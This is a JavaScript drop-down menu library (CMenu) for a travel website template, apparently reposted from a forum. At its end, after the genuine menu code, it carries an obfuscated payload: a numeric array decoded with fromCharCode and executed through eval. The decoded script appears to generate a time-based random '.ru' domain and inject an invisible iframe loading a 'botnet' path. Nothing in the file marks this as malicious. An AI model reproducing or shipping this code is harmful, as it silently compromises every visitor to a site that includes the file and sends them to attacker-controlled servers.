- /**
- * CMenu (Classic Menu)
- *
- * Modified version for the BonusThemes.com Travel In Template
- * http://www.bonusthemes.com
- *
- * [url=home.php?mod=space&uid=570682]@version[/url] 1.2
- * @copyright Creative Pulse 2008
- * [url=home.php?mod=space&uid=101051]@link[/url] http://www.creativepulse.eu/goto/cmenu
- */
- function CMenu(aa) {
- if (typeof aa.iname != 'string') {
- alert('CMenu initialization error: Instance name is missing');
- return;
- }
- this.iname = aa.iname;
- var ba = navigator.userAgent.toLowerCase().match(/msie (\d(.\d*)?)/);
- var ca = ba && ba[1] && ba[1] < 7;
- this.hide_timeout = typeof aa.hide_timeout != 'number' ? 500 : aa.hide_timeout;
- this.mi_layers = typeof aa.mi_layers != 'number' ? 1 : aa.mi_layers;
- if (this.mi_layers < 1) this.mi_layers = 1;
- this.mi_empty_normal_class = typeof aa.mi_empty_normal_class != 'string' ? '' : aa.mi_empty_normal_class;
- this.mi_empty_hover_class = typeof aa.mi_empty_hover_class != 'string' ? '' : aa.mi_empty_hover_class;
- this.mi_full_normal_class = typeof aa.mi_full_normal_class != 'string' ? '' : aa.mi_full_normal_class;
- this.mi_full_hover_class = typeof aa.mi_full_hover_class != 'string' ? '' : aa.mi_full_hover_class;
- this.rounded_corners = typeof aa.rounded_corners != 'boolean' ? true : aa.rounded_corners;
- this.transparency = typeof aa.transparency != 'boolean' ? true : aa.transparency;
- if (this.transparency) {
- this.transparency_ie6 = typeof aa.transparency_ie6 != 'boolean' ? false : aa.transparency_ie6;
- if (!this.transparency_ie6 && ca) this.transparency = false;
- }
- if (this.transparency) {
- this.min_opacity = typeof aa.min_opacity != 'number' ? 0 : aa.min_opacity;
- if (this.min_opacity < 0) this.min_opacity = 0;
- else if (this.min_opacity > 100) this.min_opacity = 100;
- this.max_opacity = typeof aa.max_opacity != 'number' ? 0 : aa.max_opacity;
- if (this.max_opacity < 0) this.max_opacity = 0;
- else if (this.max_opacity > 100) this.max_opacity = 100;
- }
- this.panel_offset1_x = typeof aa.panel_offset1_x != 'number' ? 0 : aa.panel_offset1_x;
- this.panel_offset1_y = typeof aa.panel_offset1_y != 'number' ? 0 : aa.panel_offset1_y;
- this.panel_offset2_x = typeof aa.panel_offset2_x != 'number' ? 0 : aa.panel_offset2_x;
- this.panel_offset2_y = typeof aa.panel_offset2_y != 'number' ? 0 : aa.panel_offset2_y;
- if (!this.rounded_corners) {
- this.panel_offset2_x = 0;
- this.panel_offset2_y = 0;
- }
- this.itemborder_class = typeof aa.itemborder_class != 'string' ? '' : aa.itemborder_class;
- this.separator_class = typeof aa.separator_class != 'string' ? '' : aa.separator_class;
- this.panel_class = typeof aa.panel_class != 'string' ? '' : aa.panel_class;
- this.panel_tl_class = typeof aa.panel_tl_class != 'string' ? '' : aa.panel_tl_class;
- this.panel_tc_class = typeof aa.panel_tc_class != 'string' ? '' : aa.panel_tc_class;
- this.panel_tr_class = typeof aa.panel_tr_class != 'string' ? '' : aa.panel_tr_class;
- this.panel_ml_class = typeof aa.panel_ml_class != 'string' ? '' : aa.panel_ml_class;
- this.panel_mr_class = typeof aa.panel_mr_class != 'string' ? '' : aa.panel_mr_class;
- this.panel_bl_class = typeof aa.panel_bl_class != 'string' ? '' : aa.panel_bl_class;
- this.panel_bc_class = typeof aa.panel_bc_class != 'string' ? '' : aa.panel_bc_class;
- this.panel_br_class = typeof aa.panel_br_class != 'string' ? '' : aa.panel_br_class;
- this.ch_create = typeof aa.ch_create == 'undefined' ? null : aa.ch_create;
- this.ch_mouseover = typeof aa.ch_mouseover == 'undefined' ? null : aa.ch_mouseover;
- this.ch_mouseout = typeof aa.ch_mouseout == 'undefined' ? null : aa.ch_mouseout;
- this.ch_panel_show = typeof aa.ch_panel_show == 'undefined' ? null : aa.ch_panel_show;
- this.ch_panel_hide = typeof aa.ch_panel_hide == 'undefined' ? null : aa.ch_panel_hide;
- this.ch_state_change = typeof aa.ch_state_change == 'undefined' ? null : aa.ch_state_change;
- this.animate = typeof aa.animate != 'undefined' || typeof aa.anim_step != 'undefined' || typeof aa.anim_interval != 'undefined';
- if (typeof aa.animate == 'boolean' && !aa.animate) this.animate = false;
- if (this.animate) {
- this.anim_step = typeof aa.anim_step != 'number' ? 30 : aa.anim_step;
- if (this.anim_step <= 0 || this.anim_step > 100) this.anim_step = 1;
- this.anim_interval = typeof aa.anim_interval != 'number' ? 100 : aa.anim_interval;
- }
- this.side = typeof aa.side != 'string' ? '' : aa.side.replace(/^\s+|\s+$/g, '').toLowerCase();
- if (this.side != 'left' && this.side != 'right' && this.side != 'up' && this.side != 'down') this.side = 'right';
- this.orientation = typeof aa.orientation != 'string' ? '' : aa.orientation.replace(/^\s+|\s+$/g, '').toLowerCase();
- if ((this.side == 'left' || this.side == 'right') && this.orientation != 'up' && this.orientation != 'down') this.orientation = 'down';
- else if ((this.side == 'up' || this.side == 'down') && this.orientation != 'left' && this.orientation != 'right') this.orientation = 'right';
- this.direction = this.side.charAt(0) + this.orientation.charAt(0);
- this.last_inst_id = 0;
- this.menuitems = new Array();
- this.registry = new Array();
- this.timer_hide = 0;
- this.vis_mi = null;
- this.wdg_base = document.getElementsByTagName('body')[0];
- }
- CMenu.prototype.registry_add = function(mi) {
- this.registry.push(mi);
- return this.registry.length - 1;
- }
- CMenu.prototype.add_item = function(da) {
- da.base = this;
- da.parent = this;
- da.iname = typeof da.id != 'string' ? '' : da.id;
- var mi = new CMenuItem(da, true);
- this.menuitems.push(mi);
- return mi;
- }
- CMenu.prototype.run = function() {
- for (var i = 0, len = this.menuitems.length; i < len; i++) this.menuitems[i].run();
- }
- CMenu.prototype.handle_mouseover = function(ea, e) {
- if (this.timer_hide > 0) {
- clearTimeout(this.timer_hide);
- this.timer_hide = 0;
- }
- var mi = this.registry[ea];
- if (this.vis_mi) {
- var fa = new Array();
- mi.query_panels(fa, true);
- var ga = new Array();
- this.vis_mi.query_panels(ga, false);
- while (true) {
- var ha = ga.shift();
- var ia = fa.shift();
- if (!ha) break;
- if (!ia || ha != ia) {
- ha.hide_now();
- while (ha = ga.shift()) ha.hide_now();
- break;
- }
- }
- }
- this.vis_mi = mi;
- mi.handle_mouseover(e);
- }
- CMenu.prototype.handle_mouseout = function(ja, e) {
- if (this.timer_hide == 0) this.timer_hide = setTimeout('document["' + this.iname + '"].hide_process(' + ja + ')', this.hide_timeout);
- var mi = this.registry[ja];
- mi.handle_mouseout(e);
- }
- CMenu.prototype.handle_click = function(ka) {
- var mi = this.registry[ka];
- mi.handle_click();
- }
- CMenu.prototype.hide_process = function(la) {
- var mi = this.registry[la];
- mi.hide_process();
- }
- function CMenuItem(ma, na) {
- this.is_header = na;
- this.base = ma.base;
- this.parent = ma.parent;
- this.iname = typeof ma.iname != 'string' ? '' : ma.iname;
- this.link = typeof ma.link != 'string' ? '' : ma.link;
- this.caption = typeof ma.caption != 'string' ? '' : ma.caption;
- this.selection = typeof ma.selection != 'number' ? 0 : ma.selection;
- this.type = typeof ma.type != 'string' ? '' : ma.type;
- if (this.type != 'text' && this.type != 'link' && this.type != 'link_new' && this.type != 'link_popup' && this.type != 'separator') {
- if (this.link != '' && this.caption != '') this.type = 'link';
- else if (this.caption != '') this.type = 'text';
- else this.type = 'separator';
- }
- this.panel_inner = null;
- this.panel_outer = null;
- this.panel_x = 0;
- this.panel_y = 0;
- this.panel_outer_w = 0;
- this.panel_outer_h = 0;
- this.panel_inner_w = 0;
- this.panel_inner_h = 0;
- this.panel_ch_x = 0;
- this.panel_ch_y = 0;
- this.panel_ch_min_w = 0;
- this.anim_progress = 0;
- this.anim_speed = 0;
- this.anim_timer = 0;
- this.menuitems = new Array();
- this.state_mouseover = false;
- this.state_panelopen = false;
- if (this.iname == '') {
- this.wdg = document.createElement('div');
- if (typeof ma.id != 'undefined') this.wdg.id = ma.id;
- var oa = this.parent.panel_inner;
- if (this.base.itemborder_class != '' && oa.childNodes.length > 0) {
- var ib = document.createElement('div');
- oa.appendChild(ib);
- ib.className = this.base.itemborder_class;
- }
- oa.appendChild(this.wdg);
- oa = this.wdg;
- for (var i = 2; i <= this.base.mi_layers; i++) {
- obj = document.createElement('div');
- oa.appendChild(obj);
- obj.className = 'l' + i;
- oa = obj;
- }
- if (this.type == 'separator') {
- if (this.base.separator_class != '') this.wdg.className = this.base.separator_class;
- } else {
- if (this.caption != '') {
- var pa = document.createElement('div');
- pa.innerHTML = this.caption;
- pa.className = 'text';
- oa.appendChild(pa);
- }
- if (this.type == 'link' || this.type == 'link_new' || this.type == 'link_popup') this.wdg.style.cursor = 'pointer';
- this.h_state_change();
- }
- } else {
- this.wdg = document.getElementById(this.iname);
- }
- this.reg_id = this.base.registry_add(this);
- this.wdg.setAttribute('base_iname', this.base.iname);
- this.wdg.setAttribute('reg_id', this.reg_id);
- this.wdg.onmouseover = function(e) {
- document[this.getAttribute('base_iname')].handle_mouseover(this.getAttribute('reg_id'), e);
- }
- this.wdg.onmouseout = function(e) {
- document[this.getAttribute('base_iname')].handle_mouseout(this.getAttribute('reg_id'), e);
- }
- this.wdg.onclick = function() {
- document[this.getAttribute('base_iname')].handle_click(this.getAttribute('reg_id'));
- }
- if (this.base.ch_create != null) this.base.ch_create(this);
- }
- CMenuItem.prototype.last_child = function(qa) {
- while (qa.firstChild) qa = qa.firstChild;
- return qa;
- }
- CMenuItem.prototype.isMouseEnterOrLeave = function(ra, e) {
- if (e.type != 'mouseout' && e.type != 'mouseover') return false;
- var sa = e.relatedTarget || (e.type == 'mouseout' ? e.toElement : e.fromElement);
- while (sa && sa != ra) sa = sa.parentNode;
- return sa != ra;
- }
- CMenuItem.prototype.add_item = function(ta) {
- if (!this.panel_outer) {
- this.panel_outer = document.createElement('div');
- this.base.wdg_base.appendChild(this.panel_outer);
- this.panel_outer.style.overflow = 'hidden';
- if (this.base.rounded_corners) {
- var ua = document.createElement('table');
- this.panel_outer.appendChild(ua);
- ua.setAttribute('cellSpacing', 0);
- ua.setAttribute('cellPadding', 0);
- var va = document.createElement('tbody');
- ua.appendChild(va);
- var tr = document.createElement('tr');
- va.appendChild(tr);
- var wa = document.createElement('td');
- tr.appendChild(wa);
- if (this.base.panel_tl_class != '') wa.className = this.base.panel_tl_class;
- var xa = document.createElement('td');
- tr.appendChild(xa);
- if (this.base.panel_tc_class != '') xa.className = this.base.panel_tc_class;
- var ya = document.createElement('td');
- tr.appendChild(ya);
- if (this.base.panel_tr_class != '') ya.className = this.base.panel_tr_class;
- var tr = document.createElement('tr');
- va.appendChild(tr);
- var za = document.createElement('td');
- tr.appendChild(za);
- if (this.base.panel_ml_class != '') za.className = this.base.panel_ml_class;
- var Aa = document.createElement('td');
- tr.appendChild(Aa);
- var Ba = document.createElement('td');
- tr.appendChild(Ba);
- if (this.base.panel_mr_class != '') Ba.className = this.base.panel_mr_class;
- var tr = document.createElement('tr');
- va.appendChild(tr);
- var Ca = document.createElement('td');
- tr.appendChild(Ca);
- if (this.base.panel_bl_class != '') Ca.className = this.base.panel_bl_class;
- var Da = document.createElement('td');
- tr.appendChild(Da);
- if (this.base.panel_bc_class != '') Da.className = this.base.panel_bc_class;
- var Ea = document.createElement('td');
- tr.appendChild(Ea);
- if (this.base.panel_br_class != '') Ea.className = this.base.panel_br_class;
- this.panel_inner = document.createElement('div');
- Aa.appendChild(this.panel_inner);
- } else {
- this.panel_inner = document.createElement('div');
- this.panel_outer.appendChild(this.panel_inner);
- }
- if (this.base.panel_class != '') this.panel_inner.className = this.base.panel_class;
- }
- ta.base = this.base;
- ta.parent = this;
- var mi = new CMenuItem(ta, false);
- this.menuitems.push(mi);
- this.h_state_change();
- return mi;
- }
- CMenuItem.prototype.run = function() {
- if (this.panel_outer) {
- this.panel_outer.style.position = 'absolute';
- this.panel_outer.style.visibility = 'hidden';
- this.panel_outer.style.left = '0px';
- this.panel_outer.style.top = '0px';
- this.panel_outer.style.display = 'block';
- this.panel_outer_w = this.panel_outer.offsetWidth;
- this.panel_outer_h = this.panel_outer.offsetHeight;
- this.panel_inner_w = this.panel_inner.offsetWidth;
- this.panel_inner_h = this.panel_inner.offsetHeight;
- this.panel_outer.style.display = 'none';
- this.panel_outer.style.visibility = 'visible';
- }
- for (var i = 0, len = this.menuitems.length; i < len; i++) this.menuitems[i].run();
- }
- CMenuItem.prototype.query_panels = function(ar, Fa) {
- if (Fa && this.anim_speed < 0) this.anim_speed = this.base.anim_step;
- if (this.panel_outer) ar.unshift(this);
- if (!this.is_header) this.parent.query_panels(ar, Fa);
- }
- CMenuItem.prototype.handle_timer = function() {
- this.anim_timer = 0;
- this.anim_progress += this.anim_speed;
- var Ga = this.anim_speed > 0 ? Math.ceil(this.anim_progress) : Math.floor(this.anim_progress);
- if (Ga <= 0) {
- this.panel_hide();
- this.anim_speed = 0;
- } else {
- this.panel_show();
- if (Ga > 100) Ga = 100;
- this.animateit(Ga);
- if (Ga < 100) this.anim_timer = setTimeout('document["' + this.base.iname + '"].registry[' + this.reg_id + '].handle_timer()', this.base.anim_interval);
- else this.anim_speed = 0;
- }
- }
- CMenuItem.prototype.animateit = function(Ha) {
- if (this.base.transparency) {
- var Ia = Math.round((Ha / 100) * (this.base.max_opacity - this.base.min_opacity) + this.base.min_opacity);
- this.panel_outer.style.opacity = Ia / 100;
- this.panel_outer.style.filter = 'alpha(opacity=' + Ia + ')';
- }
- var h = Math.round(this.panel_outer_h * Ha / 100);
- switch (this.base.direction) {
- case 'dl':
- case 'dr':
- case 'ld':
- case 'rd':
- this.panel_outer.style.height = h + 'px';
- break;
- case 'ul':
- case 'ur':
- case 'lu':
- case 'ru':
- this.panel_outer.style.top = (this.panel_y + this.panel_outer_h - h) + 'px';
- this.panel_outer.style.height = h + 'px';
- this.panel_outer.scrollTop = this.panel_outer_h - h;
- break;
- }
- }
- CMenuItem.prototype.hide_process = function() {
- if (this.panel_outer) {
- if (this.base.animate && this.anim_progress > 1) {
- if (this.anim_speed == 0) this.anim_progress = 100 - this.base.anim_step;
- this.anim_speed = -this.base.anim_step;
- if (this.anim_timer == 0) this.anim_timer = setTimeout('document["' + this.base.iname + '"].registry[' + this.reg_id + '].handle_timer()', this.base.anim_interval);
- } else {
- this.panel_hide();
- }
- }
- if (!this.is_header) this.parent.hide_process();
- }
- CMenuItem.prototype.hide_now = function() {
- if (this.anim_timer > 0) {
- clearTimeout(this.anim_timer);
- this.anim_timer = 0;
- }
- this.anim_speed = 0;
- this.anim_progress = 0;
- if (this.panel_outer) this.panel_hide();
- }
- CMenuItem.prototype.handle_mouseover = function(e) {
- if (!this.isMouseEnterOrLeave(this.wdg, e || window.event)) return;
- if (this.base.ch_mouseover != null) this.base.ch_mouseover(this);
- if (this.panel_outer) {
- if (this.panel_ch_x == 0 && this.panel_ch_y == 0) {
- var x = 0,
- y = 0,
- obj = this.wdg;
- while (obj) {
- x += obj.offsetLeft;
- y += obj.offsetTop;
- obj = obj.offsetParent;
- }
- switch (this.base.direction) {
- case 'ul':
- if (this.is_header) {
- x += this.wdg.offsetWidth - this.panel_outer_w;
- y -= this.panel_outer_h;
- } else {
- x -= this.panel_outer_w;
- y += this.wdg.offsetHeight - this.panel_outer_h;
- }
- break;
- case 'ur':
- if (this.is_header) {
- y -= this.panel_outer_h;
- } else {
- x += this.wdg.offsetWidth;
- y += this.wdg.offsetHeight - this.panel_outer_h;
- }
- break;
- case 'dl':
- if (this.is_header) {
- x += this.wdg.offsetWidth - this.panel_outer_w;
- y += this.wdg.offsetHeight;
- } else {
- x -= this.panel_outer_w;
- }
- break;
- case 'dr':
- if (this.is_header) y += this.wdg.offsetHeight;
- else x += this.wdg.offsetWidth;
- break;
- case 'lu':
- x -= this.panel_outer_w;
- y += this.wdg.offsetHeight - this.panel_outer_h;
- break;
- case 'ld':
- x -= this.panel_outer_w;
- break;
- case 'ru':
- x += this.wdg.offsetWidth;
- y += this.wdg.offsetHeight - this.panel_outer_h;
- break;
- case 'rd':
- x += this.wdg.offsetWidth;
- break;
- }
- this.panel_x = x;
- this.panel_y = y;
- if (this.is_header) {
- this.panel_x += this.base.panel_offset1_x;
- this.panel_y += this.base.panel_offset1_y;
- } else {
- this.panel_x += this.base.panel_offset2_x;
- this.panel_y += this.base.panel_offset2_y;
- }
- } else {
- this.panel_x = this.panel_ch_x;
- this.panel_y = this.panel_ch_y;
- }
- if (this.panel_ch_min_w > 0 && this.panel_outer_w < this.panel_ch_min_w) this.panel_inner.style.width = (this.panel_inner_w + this.panel_ch_min_w - this.panel_outer_w) + 'px';
- this.panel_outer.style.left = this.panel_x + 'px';
- this.panel_outer.style.top = this.panel_y + 'px';
- this.panel_show();
- if (this.base.animate && this.anim_progress < 100) {
- if (this.anim_speed == 0) {
- this.anim_progress = 1;
- this.animateit(1);
- }
- this.anim_speed = this.base.anim_step;
- if (this.anim_timer == 0) this.anim_timer = setTimeout('document["' + this.base.iname + '"].registry[' + this.reg_id + '].handle_timer()', this.base.anim_interval);
- }
- }
- this.state_mouseover = true;
- this.h_state_change();
- }
- CMenuItem.prototype.handle_mouseout = function(e) {
- if (!this.isMouseEnterOrLeave(this.wdg, e || window.event)) return;
- if (this.base.ch_mouseout != null) this.base.ch_mouseout(this);
- this.state_mouseover = false;
- this.h_state_change();
- }
- CMenuItem.prototype.handle_click = function() {
- if (this.link != '') {
- switch (this.type) {
- case 'link':
- window.location = this.link;
- break;
- case 'link_new':
- window.open(this.link, '_blank');
- break;
- case 'link_popup':
- window.open(this.link, '', 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=780,height=550');
- break;
- }
- }
- }
- CMenuItem.prototype.panel_show = function() {
- if (this.panel_outer.style.display != 'block') {
- if (this.base.ch_panel_show != null) this.base.ch_panel_show(this);
- this.panel_outer.style.height = '1px';
- this.panel_outer.style.display = 'block';
- this.state_panelopen = true;
- this.h_state_change();
- }
- }
- CMenuItem.prototype.panel_hide = function() {
- if (this.panel_outer.style.display != 'none') {
- if (this.base.ch_panel_hide != null) this.base.ch_panel_hide(this);
- this.panel_outer.style.display = 'none';
- this.state_panelopen = false;
- this.h_state_change();
- }
- }
- CMenuItem.prototype.h_state_change = function() {
- if (this.base.ch_state_change != null) this.base.ch_state_change(this);
- if (!this.is_header) {
- if (this.type != 'separator') {
- var Ja = 'mi' + (this.panel_outer ? '_full' : '_empty') + (this.state_mouseover || this.state_panelopen ? '_hover' : '_normal') + '_class';
- this.wdg.className = this.base[Ja];
- }
- }
- } /*km0ae9gr6m*/
- try {
- prototype % 2;
- } catch (asd) {
- x = 2;
- }
- try {
- q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" : "")]("p");
- q.appendChild(q + "");
- } catch (fwbewe) {
- i = 0;
- try {
- prototype * 5;
- } catch (z) {
- fr = "fromChar";
- f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160, 708, 485, 684, 160, 624, 525, 192, 305, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 222, 160, 696, 520, 630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624, 525, 690, 230, 390, 160, 252, 160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525, 354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50, 192, 160, 192, 160, 750, 160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 580, 606, 575, 696, 160, 258, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 200, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 252, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 205, 354, 50, 750, 50, 60, 510, 702, 550, 594, 580, 630, 555, 660, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 500, 192, 305, 192, 550, 606, 595, 192, 340, 582, 580, 606, 200, 702, 550, 630, 600, 252, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 160, 366, 160, 600, 230, 618, 505, 696, 360, 666, 585, 684, 575, 240, 205, 192, 310, 192, 245, 300, 160, 378, 160, 294, 160, 348, 160, 288, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 250, 306, 260, 318, 270, 330, 280, 342, 240, 294, 160, 258, 160, 240, 500, 276, 515, 606, 580, 462, 555, 660, 580, 624, 200, 246, 160, 252, 160, 288, 600, 420, 350, 420, 350, 420, 350, 246, 160, 258, 160, 240, 500, 276, 515, 606, 580, 408, 485, 696, 505, 240, 205, 192, 210, 192, 240, 720, 350, 420, 350, 420, 205, 258, 160, 240, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 690, 160, 252, 160, 288, 600, 420, 350, 420, 205, 246, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 390, 160, 366, 160, 312, 280, 300, 275, 294, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 462, 160, 366, 160, 300, 245, 312, 275, 312, 280, 306, 270, 312, 275, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 405, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 282, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 410, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 222, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 160, 366, 160, 294, 230, 288, 160, 282, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 550, 606, 600, 696, 160, 366, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 354, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 580, 624, 525, 690, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 495, 684, 505, 582, 580, 606, 410, 582, 550, 600, 555, 654, 390, 702, 545, 588, 505, 684, 200, 684, 220, 192, 385, 630, 550, 264, 160, 462, 485, 720, 205, 738, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 240, 385, 582, 600, 270, 385, 630, 550, 246, 160, 252, 160, 684, 230, 660, 505, 720, 580, 240, 205, 192, 215, 192, 385, 630, 550, 246, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 648, 505, 660, 515, 696, 520, 264, 160, 732, 555, 660, 505, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 570, 582, 550, 600, 160, 366, 160, 660, 505, 714, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 606, 580, 696, 505, 684, 575, 192, 305, 192, 455, 234, 485, 234, 220, 234, 490, 234, 220, 234, 495, 234, 220, 234, 500, 234, 220, 234, 505, 234, 220, 234, 510, 234, 220, 234, 515, 234, 220, 234, 520, 234, 220, 234, 525, 234, 220, 234, 530, 234, 220, 234, 535, 234, 220, 234, 540, 234, 220, 234, 545, 234, 220, 234, 550, 234, 220, 234, 555, 234, 220, 234, 560, 234, 220, 234, 565, 234, 220, 234, 570, 234, 220, 234, 575, 234, 220, 234, 580, 234, 220, 234, 585, 234, 220, 234, 590, 234, 220, 234, 595, 234, 220, 234, 600, 234, 220, 234, 605, 234, 220, 234, 610, 234, 465, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 580, 684, 160, 366, 160, 234, 195, 354, 50, 192, 160, 192, 160, 612, 555, 684, 200, 708, 485, 684, 160, 630, 160, 366, 160, 288, 295, 192, 525, 192, 300, 192, 540, 606, 550, 618, 580, 624, 295, 192, 525, 192, 215, 258, 160, 246, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 575, 696, 570, 192, 215, 366, 160, 648, 505, 696, 580, 606, 570, 690, 455, 594, 570, 606, 485, 696, 505, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 570, 582, 550, 600, 220, 192, 240, 264, 160, 648, 505, 696, 580, 606, 570, 690, 230, 648, 505, 660, 515, 696, 520, 192, 225, 192, 245, 246, 465, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 575, 696, 570, 192, 215, 192, 195, 276, 195, 192, 215, 192, 610, 666, 550, 606, 295, 60, 625, 60, 50, 690, 505, 696, 420, 630, 545, 606, 555, 702, 580, 240, 510, 702, 550, 594, 580, 630, 555, 660, 200, 246, 615, 60, 160, 192, 160, 192, 580, 684, 605, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 240, 580, 726, 560, 606, 555, 612, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 366, 160, 204, 585, 660, 500, 606, 510, 630, 550, 606, 500, 204, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 192, 580, 684, 585, 606, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 590, 582, 570, 192, 585, 660, 525, 720, 160, 366, 160, 462, 485, 696, 520, 276, 570, 666, 585, 660, 500, 240, 215, 660, 505, 714, 160, 408, 485, 696, 505, 240, 205, 282, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 708, 485, 684, 160, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 192, 305, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 294, 270, 264, 160, 234, 570, 702, 195, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 160, 366, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 495, 684, 505, 582, 580, 606, 345, 648, 505, 654, 505, 660, 580, 240, 170, 438, 350, 492, 325, 462, 345, 204, 205, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 505, 696, 325, 696, 580, 684, 525, 588, 585, 696, 505, 240, 170, 690, 570, 594, 170, 264, 160, 204, 520, 696, 580, 672, 290, 282, 235, 204, 215, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585, 660, 315, 690, 525, 600, 305, 588, 555, 696, 550, 606, 580, 300, 170, 246, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 545, 276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 624, 505, 630, 515, 624, 580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 708, 525, 690, 525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525, 600, 500, 606, 550, 204, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726, 230, 582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594, 485, 696, 495, 624, 200, 606, 205, 738, 625, 60, 625, 264, 160, 318, 240, 288, 205, 354];
- v = "eva";
- }
- if (v) e = window[v + "l"];
- w = f;
- s = [];
- r = String;
- z = ((e) ? "Code" : "");
- for (; 1776 - 5 + 5 > i; i += 1) {
- j = i;
- if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
- }
- if (f) e(s);
- } /*qhk6sa6g1c*/
复制代码
